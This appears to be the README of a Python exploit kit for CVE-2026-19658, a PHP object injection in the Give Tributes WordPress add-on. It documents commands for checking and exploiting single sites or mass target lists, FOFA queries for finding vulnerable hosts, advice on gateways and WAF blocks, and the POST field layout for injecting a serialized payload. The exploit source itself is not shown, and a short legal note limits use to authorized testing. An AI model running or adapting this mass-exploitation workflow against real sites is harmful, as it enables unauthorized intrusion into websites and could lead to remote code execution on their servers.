CVE-2026-19658 — Give Tributes Unauthenticated PHP Object Injection

Python 3 proof-of-concept scanner and donation-chain exploit helper for CVE-2026-19658 in the WordPress add-on Give - Tributes (Liquid Web / GiveWP).

Summary

When Allow Multiple Recipients is enabled for eCards and eCard custom message is disabled (default), vulnerable versions store raw $_POST eCard recipient data in donation meta. GiveWP field validation uses a give_clean() copy of $_POST (serialized strings are blanked there), but insert_tribute_data() reads unsanitized $_POST, so a second recipient’s first_name / last_name can contain a PHP serialized object.

Impact: No known POP chain inside Give Tributes alone. Meta is deserialized when read (e.g. admin eCard preview/resend). RCE or destructive impact requires a gadget chain from another installed plugin or theme.

Server-side prerequisites

1. Give Tributes ≤ 2.3.1
2. Allow Multiple Recipients enabled (global or per-form)
3. eCard Custom Message disabled (default)
4. Public legacy Give form ([give_form] / v2), not v3-only Visual Form Builder
5. A payment gateway that can complete a donation in your test (often manual on dev/staging)

Requirements

• Python 3.8+
• pip install -r requirements.txt

Quick start

pip install -r requirements.txt

# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → target list

Examples:

body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

Host list (one domain per line):

python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA CSV export:

python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI options

Use --vuln-list exploited.txt on exploit runs so check hits in hits.txt are not overwritten.

Output files

Check status values

Remote scan cannot reliably see “Allow Multiple Recipients”; candidates may still fail at exploit time.

Exploit notes

• PoC sends two eCard recipients; the payload is the second first_name field.
• manual gateway is often disabled in production — try gateways visible on the form (stripe, paypal, test, …).
• Success requires Give receipt markers (not generic page copy containing “thank you”). Same URL with the form still present is not counted as success.
• give validation rejected donation: tribute/notify options, amount, or gateway mismatch.
• HTTP 403: WAF (Sucuri, MalCare, etc.) blocking POST.
• v3-only forms: use legacy form URL or skip (processor rejects v3 IDs on legacy endpoint).

POST shape (legacy form)

give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

Repository layout

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local scan lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits.txt, …) are in .gitignore and should not be committed.

References

• NVD — CVE-2026-19658
• Give Tributes readme (fix note 2.3.1.1)
• GiveWP plugin

Legal

For authorized security testing and education only. You are responsible for compliance with applicable laws and program rules.